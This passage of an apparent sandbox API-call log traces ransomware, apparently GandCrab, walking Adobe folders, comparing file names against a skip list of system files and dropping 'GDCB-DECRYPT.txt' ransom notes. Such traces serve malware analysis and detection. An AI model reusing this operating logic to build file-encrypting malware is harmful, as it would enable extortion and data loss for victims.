Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 238 [0170.374] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.374] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 0x5f60b0 [0170.374] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 245 [0170.374] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 253 [0170.374] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 254 [0170.374] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.374] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 255 [0170.374] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.377] GetLastError () returned 0x50 [0170.377] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 238 [0170.377] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.377] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285cf30 | out: lpFindFileData=0x285cf30) returned 0x5f6070 [0170.377] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 245 [0170.377] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 245 [0170.377] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 253 [0170.377] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 253 [0170.377] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 254 [0170.377] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 254 [0170.377] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 254 [0170.377] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 254 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.377] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 247 [0170.377] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 247 [0170.377] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 247 [0170.377] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 247 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.377] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.378] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.378] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.378] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.378] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.378] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 236 [0170.378] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 236 [0170.378] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 236 [0170.378] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 236 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.378] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.378] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.378] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.378] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.378] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.378] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 218 [0170.378] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.379] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5f69b0 [0170.379] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 232 [0170.379] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.379] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 234 [0170.379] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.379] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned 226 [0170.379] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 235 [0170.379] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.381] GetLastError () returned 0x50 [0170.381] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 218 [0170.381] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.381] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5f6470 [0170.381] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 232 [0170.382] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 232 [0170.382] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 234 [0170.382] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 234 [0170.382] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 234 [0170.382] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 234 [0170.382] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.382] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.382] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.382] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.382] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.382] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.382] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.382] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.382] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.382] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.382] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.382] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.382] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.382] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 227 [0170.382] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.382] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5f6730 [0170.382] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 243 [0170.382] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.382] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 237 [0170.382] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.382] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 236 [0170.382] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.382] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 244 [0170.382] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.384] GetLastError () returned 0x50 [0170.384] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 227 [0170.384] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.384] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5f65f0 [0170.384] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 243 [0170.385] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 243 [0170.385] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 243 [0170.385] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 243 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", 